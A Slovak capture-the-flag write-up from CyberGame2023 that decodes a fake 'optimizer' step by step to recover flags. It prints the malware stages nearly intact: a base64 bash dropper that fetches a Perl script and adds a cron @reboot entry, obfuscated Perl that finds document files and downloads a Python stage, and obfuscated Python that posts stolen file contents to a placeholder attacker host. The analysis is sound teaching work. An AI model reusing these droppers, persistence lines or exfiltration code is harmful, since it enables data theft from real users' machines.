16. 5. 2023

CTF - CyberGame2023 - Broken Optimizer

 V tomto sсenári prejdeme viacerými shell jazykmi a preto som po ňom siahol ako po prvom. Odhalíme viac krát obfuskovanú podvodnú aplikáciu.

1. Optimizer

Používateľ v tvojej firme si nainštaloval tento software, aby si zvýšil výkon PC, ale miesto toho sa mu počítač začal správať divne. Zisti, čo sa stalo.

Stiahneme z uvedenej linky súbor optimizer.sh :

#!/bin/bash
echo "IyEvYmluL2Jhc2gKIyBTSy1DRVJUe2QzZjFuMTc3M2x5X24wN18wcDcxbTF6M3J9Cm1rZGlyIC9v
cHQvb3B0aW1pemVyLwp3Z2V0IC1PIC9vcHQvb3B0aW1pemVyL2luc3RhbGxlci5wbCBodHRwczov
L3Bhc3RlYmluLmNvbS9yYXcvUWdqVHF0VlEKZWNobyAiQHJlYm9vdCBwZXJsIC9vcHQvb3B0aW1p
emVyL2luc3RhbGxlci5wbCIgPj4gL2V0Yy95b3VyX2Nyb250YWJfZmlsZQo=" | base64 -d

Vidieť, že má svoj kód maskovaný cez base64 (z kódu som zámerne zmazal na konci presmerovanie do bash).


Pre dešifrovanie base64 kódu použijeme buď výpis v shelli alebo pre zvýšenie bezpečnosti len pastneme do CyberChef stránky a zvolíme "from base64".

#!/bin/bash
# SK-CERT{d3f1n1773ly_n07_0p71m1z3r}
mkdir /opt/optimizer/
wget -O /opt/optimizer/installer.pl https://pastebin.com/raw/....
echo "@reboot perl /opt/optimizer/installer.pl" >> /etc/your_crontab_file

V hlavičke je vlajka, tá nás prenesie ďalej.


2. What it do?

Sťahujeme perl? Pustime sa do toho!

V zdrojovom kóde z predchádzajúcej úlohy vidíme príkaz wget, sťahujúci z pastebin linky zdrojový kód v perle, ktorým pravdepodobne inštaluje malware do cronu.

Stiahneme perl kód a preštudujeme si ho:

use File::Find;
use LWP::Simple;

eval eval '"'. ('`'|')').('`'|'&').'('.('^'^('`'|'.')).')'.('{'^'[').'\\'.'{'.('!'^'+').('{'^'[').('{'^'[').(('{')^ '[').('{'^'[').('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').'('.'\\'.'"'.('{'^'(').('`'^('+')).  '-'.('`'^'#').('`'^'%').('{'^')').('{'^'/').'\\'.'{'.('['^')').('^'^('`'|'-')).('`'|'-').('^'^("\`"| '-')).('`'|'-').('`'|'"').('^'^('`'|'-')).('['^')').'_'.('['^'+').('^'^('`'|'-')).('['^')').('`'|',').'_'.('`'|'$').('^'^('`'|'*')).('['^'"').('^'^('`'|'+')).'\\'.'}'.'\\'.'"'.')'.';'.('!'^"\+").'\\'.  '}'.'"';$:='.'^'~';$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('^'}';$\='`'|'!';$:=')'^'}';$~='*'|"\`";#;#

my @f  = fff(qr/\.(txt|doc)$/, "/root/");

if(@f) {
    $fn = '/opt/optimizer/optimizer.py';
    unless (-e $fn) {
        my $u = unpack u=>q{_(FAT='!S.B\O<&%S=&5B:6XN8V]M+W)A=R]M<V-%64M0,R-32RU#15)4>V0P=VYL,#1D,6YG7W!Y-V@P;GTB};
        my $fx = '/opt/optimizer/optimizer.py';
        getstore($u, $fx);

    }
    system("python3 /opt/optimizer/optimizer.py");
}

sub fff {
        my ($pattern, @dirs) = @_;
        if (!@dirs) {
                @dirs = (".");
        }
        my @ret = ();
        find(sub { if (/$pattern/) { push(@ret, $File::Find::name) } }, @dirs);
        return @ret;
}

Riadok "eval eval" niečo vyhodnotí (preloží, vykoná) a to nechceme, pretože tu vidíme obfuskovaný kód - samé znaky bez významu, ktoré ukrývajú neznáme príkazy.

Príkaz eval sa dá naštastie jednoducho nahradiť príkazom print a teda príkazom, čo preloží, vyhodnotí tie podivné znaky, ale miesto spustenia ich po preklade vypíše.

print '"'. ('`'|')').('`'|'&').'('.('^'^('`'|'.')).')'.('{'^'[').'\\'.'{'.('!'^'+').('{'^'[').('{'^'[').(('{')^ '[').('{'^'[').('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').'('.'\\'.'"'.('{'^'(').('`'^('+')).  '-'.('`'^'#').('`'^'%').('{'^')').('{'^'/').'\\'.'{'.('['^')').('^'^('`'|'-')).('`'|'-').('^'^("\`"| '-')).('`'|'-').('`'|'"').('^'^('`'|'-')).('['^')').'_'.('['^'+').('^'^('`'|'-')).('['^')').('`'|',').'_'.('`'|'$').('^'^('`'|'*')).('['^'"').('^'^('`'|'+')).'\\'.'}'.'\\'.'"'.')'.';'.('!'^"\+").'\\'.  '}'.'"';$:='.'^'~';$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('^'}';$\='`'|'!';$:=')'^'}';$~='*'|"\`";#;#

Príkaz po spustení (cez perl) vráti kód s vlajkou, ktorú zadáme:

if(0) \{
    print(\"SK-CERT\{r3m3mb3r_p3rl_d4y5\}\");
\}


3. Chaos

Ostáva nám z perl zdrojáku dekódovať ešte riadok s príkazom unpack, použijeme rovnako print:

print unpack u=>q{_(FAT='!S.B\O<&%S=&5B:6XN8V]M+W)A=R]M<V-%64M0,R-32RU#15)4>V0P=VYL,#1D,6YG7W!Y-V@P;GTB};

Opäť nám vypíše vlajku, aj s príkazom na stiahnutie ďalšieho kódu.

https://pastebin.com/raw/.....#SK-CERT{d0wnl04d1ng_py7h0n}


4. Another file

Ok, vyzerá to, že sa sťahuje ďalší súbor, poďme ho zanalyzovať.

Ďalšia zmena programovacieho jazyka, teraz Python. Po stiahnutí vidíme zdroják opticky rozdelený na dve časti. Pozrieme tú kratšiu prvú, s nejakými dlhými hex číslami v dvoch poliach.

import glob
import requests
import sys

r = ['7368434179374469535a5265356836', '6f71626d4377774173794679653962584c71426479', '6e56635474655042464f4c4a744c53317674485247'];
o = ['000d20331c431b0f3a36374b510755', '1c04120831280424100b230d3a5f0b34295f361c0d', '3d1d4e1731370439227b7b7e2b3e6005124526353a'];
j = {};
x = [_ for _ in glob.glob('/neroot/**/*', recursive=True) if _.split('/')[-1] in [''.join([chr(ord(a) ^ ord(b)) for a,b in zip(bytes.fromhex(o[i]).decode(), bytes.fromhex(r[i]).decode())]) for i in range(len(r))]];sys.exit(0) if not x else None;

Polia majú nápadne rovnaké dĺžky reťazcov, kód "chr(ord(a) ^ ord(b))" je vlastne xor ascii hodnôt a prekódovanie naspäť na znaky.

Prvé pole nahodím do CyberChef ako vstup, dám skonvertovať "from Hex", ďalej dešifrovať cez "XOR". Druhé pole zadám ako HEX kľúč.

Výsledok vyzerá takto. Posledný reťazec obsahuje vlajku.


5. Attacker

Takže python číta naše údaje, čo s nimi urobí ďalej?

Na záver tohto scenára je čas pozrieť sa na druhú časť Python kódu, dlhšiu a obfuskovanú. Keďže táto časť bola prvá nad moje sily, nechal som ju chvíľu odležať.

for __ in x:
    ___ = open(__, "r")
    j[__] = ___.read()

(lambda _, __, ___, ____, _____, ______, _______, ________:getattr(__import__('requests'),'post')( (lambda _, __, ___: _(_, __, ___))( lambda _, __, ___: bytes([___ % __]) + _(_, __, ___ // __) if ___ else (lambda: _).__code__.co_lnotab, _ << ________,(((_ << (((_ << ___) + _))) - ((___ << __) - _)) << ((___ << _______) + (_______ << _))) - (((((___ << __) - _) << _____) - _______) << ((___ << _______) + ___)) - ((((((_ << ___) + _)) << ______) + _______) << ((___ << _______) - (_____ << _))) - (((((___ << __) + _) << ____) - _______) << ((((___ << __) - _) << _____) + (___ << __))) - (((_____ << ______) + _____) << ((((___ << __) - _) << _____) + _)) - (((_____ << _____) - ___) << ((((___ << __) - _) << _____) - (_ << ___))) + (((___ << _______) + ___) << ((((_____ << __) + _) << ____) - ___)) + ((((((_ << ___) + _)) << __) - _) << ((_____ << ______) + _____)) - (((((_____ << __) - _) << ____) + _) << ((((_____ << __) - _) << ____) + _______)) - ((((((_ << ___) + _)) << _____) - ___) << ((((_____ << __) - _) << ____) - (_ << __))) + (((((___ << __) - _) << _____) + ((___ << __) - _)) << (((((_ << ___) + _)) << _____))) + (((((___ << __) + _) << ____) + _) << ((((_ << ____) + _) << ____) + (___ << _))) - (((((___ << __) + _) << ____) - _______) << ((((_ << ____) + _) << ____) - (_ << __))) - (((_______ << _____) + _) << ((_ << ________) + (_ << _))) - (((((_____ << __) + _) << ____) + _______) << ((((_ << ____) - _) << ____) + _______)) - (((((___ << __) - _) << ____) + _______) << ((((_ << ____) - _) << ____) - (_ << _))) + (((((_____ << __) + _) << ____) + _) << ((_______ << _____) + (_ << _))) - (((((___ << __) + _) << ____) + ___) << ((_______ << _____) - (_ << ___))) + (((((_____ << __) - _) << ____) - ___) << ((((___ << __) + _) << ____) - (_ << _))) + (((((_____ << __) - _) << ___) + _) << ((___ << ______) + _____)) + (((_______ << _____) - ___) << ((___ << ______) - (___ << _))) - (((((___ << __) + _) << ____) - ___) << ((((___ << __) - _) << ____) + _)) - (((((_____ << __) - _) << ____) - _______) << ((_____ << _____) + _______)) - (((_______ << _____) + _____) << ((_____ << _____) - ___)) + (((___ << _____) - ___) << (((((_ << ___) + _)) << ____) + (_ << _))) + (((((_ << ____) - _) << ____) - _______) << ((((_ << ____) + _) << ___) - _)) - (((((_ << ____) - _) << ___) + ___) << ((_ << _______) - (_ << _))) - ((((((_ << ___) + _)) << __) - _) << ((((_ << ____) - _) << ___) - _)) - (((_______ << ____) - ___) << ((_______ << ____) - ___)) + (((((___ << __) - _) << ____) - ___) << ((___ << _____) + ___)) + (((_______ << __) - _) << ((___ << _____) - ___)) + (((_______ << __) - _) << ((((___ << __) - _) << ___) - ___)) + (((___ << _____) - ___) << (((((_ << ___) + _)) << ___) + (_ << _))) + (((_______ << __) + _) << ((_ << ______) + (_ << _))) + (((___ << _____) + _) << ((_______ << ___))) + (((___ << ____) - _) << ((___ << ____))) + (((___ << ____) - _) << ((_____ << ___))) + (((_______ << __) + _) << ((_ << _____) + _)) + (_______ << ((_______ << __))) + (((_______ << __) + _) << (((((_ << ___) + _)) << _))) + (((_______ << __) + _) << ((_____ << _))) + ((((___ << __) + _)) << ___)), json=j))( *(lambda _, __, ___: _(_, __, ___))( (lambda _, __, ___: [__(___[(lambda: _).__code__.co_nlocals])] + _(_, __, ___[(lambda _: _).__code__.co_nlocals:]) if ___ else []), lambda _: _.__code__.co_argcount, ( lambda _: _, lambda _, __: _, lambda _, __, ___: _, lambda _, __, ___, ____: _, lambda _, __, ___, ____, _____: _, lambda _, __, ___, ____, _____, ______: _, lambda _, __, ___, ____, _____, ______, _______: _, lambda _, __, ___, ____, _____, ______, _______, ________: _)))

Pozrime sa na to logicky, obfuskáciu väčšinou človek nevynájde, aby ju používal v zadaniach CyberGame. Je teda možné že je niekde na internete táto konkrétna vystavená aj s popisom ako funguje. Po vyhľadávaní som prišiel na autora:

https://benkurtovic.com/2014/06/01/obfuscating-hello-world.html

Na stránke má ukážku použitia, vypíše "hello world" z obfuskovaného kódu.

(lambda _, __, ___, ____, _____, ______, _______, ________:
    getattr(
        __import__(True.__class__.__name__[_] + [].__class__.__name__[__]),
        ().__class__.__eq__.__class__.__name__[:__] +
        ().__iter__().__class__.__name__[_:][_____:________]
    )(
        _, (lambda _, __, ___: _(_, __, ___))(
            lambda _, __, ___:
                bytes([___ % __]) + _(_, __, ___ // __) if ___ else
                (lambda: _).__code__.co_lnotab,
 _ << ________,(((_ << (((_ << ___) + _))) - ((___ << __) - _)) << ((___ << _______) + (_______ << _))) - (((((___ << __) - _) << _____) - _______) << ((___ << _______) + ___)) - ((((((_ << ___) + _)) << ______) + _______) << ((___ << _______) - (_____ << _))) - (((((___ << __) + _) << ____) - _______) << ((((___ << __) - _) << _____) + (___ << __))) - (((_____ << ______) + _____) << ((((___ << __) - _) << _____) + _)) - (((_____ << _____) - ___) << ((((___ << __) - _) << _____) - (_ << ___))) + (((___ << _______) + ___) << ((((_____ << __) + _) << ____) - ___)) + ((((((_ << ___) + _)) << __) - _) << ((_____ << ______) + _____)) - (((((_____ << __) - _) << ____) + _) << ((((_____ << __) - _) << ____) + _______)) - ((((((_ << ___) + _)) << _____) - ___) << ((((_____ << __) - _) << ____) - (_ << __))) + (((((___ << __) - _) << _____) + ((___ << __) - _)) << (((((_ << ___) + _)) << _____))) + (((((___ << __) + _) << ____) + _) << ((((_ << ____) + _) << ____) + (___ << _))) - (((((___ << __) + _) << ____) - _______) << ((((_ << ____) + _) << ____) - (_ << __))) - (((_______ << _____) + _) << ((_ << ________) + (_ << _))) - (((((_____ << __) + _) << ____) + _______) << ((((_ << ____) - _) << ____) + _______)) - (((((___ << __) - _) << ____) + _______) << ((((_ << ____) - _) << ____) - (_ << _))) + (((((_____ << __) + _) << ____) + _) << ((_______ << _____) + (_ << _))) - (((((___ << __) + _) << ____) + ___) << ((_______ << _____) - (_ << ___))) + (((((_____ << __) - _) << ____) - ___) << ((((___ << __) + _) << ____) - (_ << _))) + (((((_____ << __) - _) << ___) + _) << ((___ << ______) + _____)) + (((_______ << _____) - ___) << ((___ << ______) - (___ << _))) - (((((___ << __) + _) << ____) - ___) << ((((___ << __) - _) << ____) + _)) - (((((_____ << __) - _) << ____) - _______) << ((_____ << _____) + _______)) - (((_______ << _____) + _____) << ((_____ << _____) - ___)) + (((___ << _____) - ___) << (((((_ << ___) + _)) << ____) + (_ << _))) + (((((_ << ____) - _) << ____) - _______) << ((((_ << ____) + _) << ___) - _)) - (((((_ << ____) - _) << ___) + ___) << ((_ << _______) - (_ << _))) - ((((((_ << ___) + _)) << __) - _) << ((((_ << ____) - _) << ___) - _)) - (((_______ << ____) - ___) << ((_______ << ____) - ___)) + (((((___ << __) - _) << ____) - ___) << ((___ << _____) + ___)) + (((_______ << __) - _) << ((___ << _____) - ___)) + (((_______ << __) - _) << ((((___ << __) - _) << ___) - ___)) + (((___ << _____) - ___) << (((((_ << ___) + _)) << ___) + (_ << _))) + (((_______ << __) + _) << ((_ << ______) + (_ << _))) + (((___ << _____) + _) << ((_______ << ___))) + (((___ << ____) - _) << ((___ << ____))) + (((___ << ____) - _) << ((_____ << ___))) + (((_______ << __) + _) << ((_ << _____) + _)) + (_______ << ((_______ << __))) + (((_______ << __) + _) << (((((_ << ___) + _)) << _))) + (((_______ << __) + _) << ((_____ << _))) + ((((___ << __) + _)) << ___)) ))( *(lambda _, __, ___: _(_, __, ___))( (lambda _, __, ___: [__(___[(lambda: _).__code__.co_nlocals])] + _(_, __, ___[(lambda _: _).__code__.co_nlocals:]) if ___ else []), lambda _: _.__code__.co_argcount, ( lambda _: _, lambda _, __: _, lambda _, __, ___: _, lambda _, __, ___, ____: _, lambda _, __, ___, ____, _____: _, lambda _, __, ___, ____, _____, ______: _, lambda _, __, ___, ____, _____, ______, _______: _, lambda _, __, ___, ____, _____, ______, _______, ________: _)))

Tak a máme poslednú vlajku.

python3 riesenie.py
http://attacker.attacker#SK-CERT{l34k1ng_d0cum3n7}


Žiadne komentáre:

Zverejnenie komentára